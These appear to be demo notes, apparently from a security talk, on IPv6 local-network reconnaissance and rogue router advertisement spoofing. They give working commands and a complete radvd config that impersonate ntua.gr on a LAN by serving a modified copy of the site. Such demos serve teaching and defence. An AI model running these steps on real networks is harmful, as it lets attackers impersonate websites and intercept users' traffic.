##### Find all local nodes on the network by their link-local address $ ping6 ff02::1%eth0 ##### Find all local DNS servers that respond to queries $ dig void.gr @ff02::1 (look at tcpdump for the output) ##### Node Information Query (using scapy) $ scapy > a=sr1(IPv6(dst="ff02::1")/ICMPv6NIQueryName(data="ff02::1")) > print a.sprintf( "%src%: %data%") ##### Demo on spoofing {,www}.ntua.gr using RAs ## Add to the local host the following IPs: $ sudo ip a add 2001:648:2000:de::210/64 dev eth0 $ sudo ip a add 2001:648:2000:de::213/64 dev eth0 # start nginx with a modified ntua.gr site $ sudo /etc/init.d/nginx start ## enable IPv6 Forwarding $ sudo echo "1">/proc/sys/net/ipv6/conf/all/forwarding ## Start radvd with the tweaked conf $ sudo radvd -d 2 /home/kargig/MyWork/0x375/radvd.conf ---------------- start of radvd.conf -------------- interface eth0 { AdvSendAdvert on; MinRtrAdvInterval 5; MaxRtrAdvInterval 15; prefix 2001:648:2000:de::/64 { AdvOnLink on; AdvAutonomous on; AdvRouterAddr on; AdvValidLifetime 86400; AdvPreferredLifetime 3600; }; }; ---------------- end of radvd.conf ----------------